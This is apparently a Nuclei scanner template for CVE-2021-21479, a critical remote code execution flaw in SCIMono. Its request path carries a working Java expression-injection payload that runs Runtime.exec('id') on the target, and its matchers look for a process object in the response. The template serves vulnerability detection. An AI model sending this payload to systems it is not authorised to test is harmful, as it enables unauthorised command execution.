2021-07-18 04:11:56 +00:00
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id: CVE-2021-21479
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info:
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name: SCIMono < v0.0.19 Remote Code Execution
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author: dwisiswant0
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severity: critical
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reference: https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/
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description: |
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In SCIMono before 0.0.19, it is possible for an attacker to inject and
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execute java expression compromising the availability and integrity of the system.
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2021-07-20 08:52:31 +00:00
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tags: cve,cve2021,scimono,rce
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
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cvss-score: 9.10
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cve-id: CVE-2021-21479
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cwe-id: CWE-74
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2021-07-18 04:11:56 +00:00
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"
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2021-07-18 17:24:34 +00:00
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2021-07-18 04:11:56 +00:00
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matchers:
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- type: word
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words:
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- "The attribute value"
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- "java.lang.UNIXProcess@"
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- "has invalid value!"
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2021-07-20 08:48:21 +00:00
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- '"status" : "400"'
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2021-07-18 04:11:56 +00:00
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part: body
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condition: and
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